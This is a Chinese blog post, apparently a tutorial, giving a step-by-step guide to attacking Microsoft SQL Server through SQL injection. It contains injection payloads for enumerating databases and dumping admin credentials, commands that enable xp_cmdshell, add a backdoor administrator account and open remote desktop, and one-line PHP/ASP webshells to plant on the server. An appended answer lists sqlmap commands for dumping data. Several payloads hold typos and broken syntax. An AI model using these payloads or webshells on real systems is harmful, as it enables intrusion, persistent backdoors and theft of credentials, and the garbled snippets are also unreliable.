mssql数据库的注入

查询系统信息

db_name() 数据库名

@@version  版本信息

User_name() 当前用户

host_name() 计算机名称

报错注入

sqlserver对数据类型要求很严格,不润心不同数据类型进行比较

举例:

and @@version>0
and user_name()>0

 爆库

and (select top 1 from master..ysdatabase)>0

此处查询所有数据库名中第一个,类似access数据库,而mysql数据库中使用的是select * from ...limt 1 。此处库和表名之间的连接用两个点,master中的ysdatabase表

sqlserver中自带的库:

  • master:用户创建的库、表、字段信息都存储在这个库内(类似mysql中infromation_schema)
  • model
  • msdb
  • tempdb

爆列

and (select top 1 column_name from mydb.information_schema.columns where table_name='admin')>0

查询知道库中指定表的列名

权限问题

sqlserver存在三种权限:

  • sa:能对所有库操作
  • dbowner:只能对所拥有的库操作
  • public

Msssql的默认端口号是1433,oracle的端口号是1521,mysql是3306,在windows下通过netstat -an -p tcp -o指令就能看到,并且可以查看到对于的进程pid,通过任务管理器可以查看到进程是 谁。

mssql数据库中有两种用户:windows系统用户和sql用户。windows系统用户只能本地连接,sql用户可以本地也可以远程

sa权限

第一步:检测是否是mssql数据库

and exists (select * from%20sysobjects)

第二步:查询当前数据库系统的用户名di

and system_user=0

第三步:检查注入点是否为sa权限

and l=(select IS_SRVROLEMEMBER('sysadmin'))

只要不报错就是sa权限 

第四步:判断一下xp_cmdshell存储过程是否存在

xp_cmdshell是mssql数据库的扩展存储功能 

and l=(select count(*) from master.dbo.sysobjects where name = 'xp_cmdshell')

 若没有报错则开启了

恢复xp_cmdshell可以用

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

若没有报错,在表示开启了xp_cmdshell,接下来就可以添加用户等操作了。

第五步:添加账号

;exec master..xp_cmdshell 'net user test 123456 /add'

表示添加一个用户名为test,密码为123456的账户

将账户添加到管理员组中:

;exec master..xp_cmdshell 'net localgroup administrators test /add'

第六步:开3389

既然已经成为管理员组的用户了,那么想远程控制你的电脑,那么就可以开启3389端口,默认远程桌面是关闭的,下面通过cmd指令修改注册表的选项来开启3389

;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

dbowner权限

第一步:查看当前网站是否为db_owner权限

注入指令:

and 1=(SELECT IS_MEMBER('db_owner'));--

只要不报错就为db_owner权限

第二步:找出网站路径

  1. 通过报错或baidu、google等查找
  2. 通过相关语句,但需要对方开启了xp_cmdshell
drop table black; create Table black black(result varchar(7996)null ,id int not null identity(1,1))--
#black是随便写的一个库名,只要别和人家网站现有库名重名就行,我经常用这个black名字,所以我先执行了一下删除black表,然后再创建的black表
insert into black exec master ..xp_cmdshell 'dir /s c::\1.aspx'--
#往black表中插入了'dir /s c::\1.aspx'这个系统指令的执行结果
and (select result from black where id=4)>0--
#查找black表中数据

查询到的就是站点真实路径,得到了路径之后,我们就可以搞事情,比如上传给木马脚本什么的

一句话木马获取weshell

PHP:

<?php @eval($_POST['chopper']);?>

ASP:

<%eval request("chopper")%>

ASP.NET

<%@ Page Language= "Jscripe"%><%eval(Request.ltem["chopper"],"unsafe");%>

注意:ASP.NET要单独一个文件或此文件也是Jscript脚本

可以这样写

<%eval%20request("password")%>"%20>>%20c:\www\wwwroot\sqlserver\muma.asp;--

此处的password是可以在采用蚁剑的时候输入的密码,后面是要将木马文件放置的位置,%20是编译后的空格

差异备份

中间的括号里的是木马程序的十六进制表达形式,为防止木马程序在url编译过程中特殊符号会被处理掉

public权限

通过这种权限登录用户是拿不到weshell和系统执行指令权限的,属于最低权限,但可以获取到数据库的用户名和密码,拖库什么的都可以,只要发现注入点,基本上都可以拖库,但是能不能拿到操作系统权限,这个要看数据库用户权限了。

第一步:获取当前网站数据库名称

and db_name()=0--

第二步获取mssql所有数据库 名和路径

and 1=(select db_name())--+ 
#获取当前库名字
and 1=(select db_name(1))--+ 
and 1=(select db_name(2))--+ 
...

依次在括号里面加数据就可以查看

第三步:获取当前数据库所有表名

and 0<>(select top 1 name from testdb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in (select top 1 name from testdb.sys.all_objects where type='U' AND is_ms_shipped=0))>0--

通过修改 top后面的值来改变查询的不同的表

第四步:爆表名以及字段名

第一个指令:

having 1=1--

将第一个指令的结果带入到下一个指令

第二个指令:

group by admin.id having 1=1--

这里是假若第一个指令爆出的是admin.id

第三个指令:

group by admin.id,admin.name having 1=1--

假如第二次爆出的是admin.name

第五步:获取字段内容

/**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/navarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..
[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1

这个指令比较复杂,其中/**/没有什么特殊含义,就和一个空格一样,像一个干扰符合,把这个语句里面的库名、表名、字段名替换成你总结发现的就行

  • 21
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SQLMap是一款开源的自动化SQL注入工具,用于检测和利用Web应用程序中的SQL注入漏洞。它支持多种数据库管理系统,包括MSSQL。 要使用SQLMap直连MSSQL数据库,首先需要确保已经安装了Python和SQLMap。然后,按照以下步骤进行操作: 1. 打开命令行终端,并导航到SQLMap的安装目录。 2. 输入以下命令来检测目标网站是否存在SQL注入漏洞: ``` python sqlmap.py -u <目标URL> --dbs ``` 其中,`<目标URL>`是要测试的网站URL。 3. 如果存在SQL注入漏洞,SQLMap将列出可用的数据库。选择要攻击的数据库,并记下其名称。 4. 输入以下命令来获取数据库中的表: ``` python sqlmap.py -u <目标URL> -D <数据库名称> --tables ``` 其中,`<数据库名称>`是上一步选择的数据库名称。 5. 选择要攻击的表,并记下其名称。 6. 输入以下命令来获取表中的列: ``` python sqlmap.py -u <目标URL> -D <数据库名称> -T <表名称> --columns ``` 其中,`<表名称>`是上一步选择的表名称。 7. 选择要攻击的列,并记下其名称。 8. 输入以下命令来获取列中的数据: ``` python sqlmap.py -u <目标URL> -D <数据库名称> -T <表名称> -C "<列名称1>,<列名称2>,..." --dump ``` 其中,`<列名称1>,<列名称2>,...`是上一步选择的列名称,用逗号分隔。 9. SQLMap将尝试提取并显示列中的数据。 请注意,使用SQLMap进行SQL注入测试可能涉及到非法活动,应该仅在合法授权的范围内使用。此外,使用SQLMap进行攻击可能会对目标系统造成损害,应谨慎操作。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值